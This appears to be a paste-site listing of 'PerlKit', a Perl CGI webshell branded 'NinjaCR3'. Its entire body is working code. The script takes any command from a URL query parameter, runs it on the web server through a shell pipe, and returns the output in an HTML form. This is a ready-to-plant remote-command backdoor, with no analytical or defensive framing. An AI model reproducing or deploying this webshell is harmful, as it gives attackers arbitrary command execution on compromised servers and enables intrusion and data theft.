JohnGalt14 icon

PerlKit Webshell

JohnGalt14 | PRO | 01/20/23 07:47:09 AM UTC (Edited) | 0 ⭐ | 9809 👁️ | Never ⏰ | []
Perl |

1.2 KB

|

None

|

0 👍

/

0 👎

#!/usr/bin/perl -I/usr/local/bandmain
#
# PerlKit-0.1 - [Doar userii inregistrati pot vedea linkurile. ]
#
# cmd.pl: Run commands on a webserver
 
use strict;
 
my ($cmd, %FORM);
 
$|=1;
 
print "Content-Type: text/html\r\n";
print "\r\n";
 
# Get parameters
 
%FORM = parse_parameters($ENV{'QUERY_STRING'});
 
if(defined $FORM{'cmd'}) {
  $cmd = $FORM{'cmd'};
}
 
print '<HTML>
<img src="https://resmim.net/f/yldrhM.png?nocache" width="300" height="80"><h1>Cgi Command Run<br>NinjaCR3</h1>
<body>
<form action="" method="GET">
<input type="text" name="cmd" size=45 value="' . $cmd . '">
<input type="submit" value="Run">
</form>
<pre>';
 
if(defined $FORM{'cmd'}) {
  print "Results of '$cmd' execution:\n\n";
  print "\n";
 
  open(CMD, "($cmd) 2>&1 |") || print "Could not execute command";
 
  while(<CMD>) {
    print;
  }
 
  close(CMD);
  print "\n";
}
 
print "</pre>";
 
sub parse_parameters ($) {
  my %ret;
 
  my $input = shift;
 
  foreach my $pair (split('&', $input)) {
    my ($var, $value) = split('=', $pair, 2);
    
    if($var) {
      $value =~ s/\+/ /g ;
      $value =~ s/%(..)/pack('c',hex($1))/eg;
 
      $ret{$var} = $value;
    }
  }
 
  return %ret;
}
 

Comments

  •  icon
    01/01/70 12:00:00 AM UTC
    Plain Text |

    0 B

    |

    👍

    /

    👎

    
        
  •  icon
    01/01/70 12:00:00 AM UTC
    Plain Text |

    0 B

    |

    👍

    /

    👎

    
        
  •  icon
    01/01/70 12:00:00 AM UTC
    Plain Text |

    0 B

    |

    👍

    /

    👎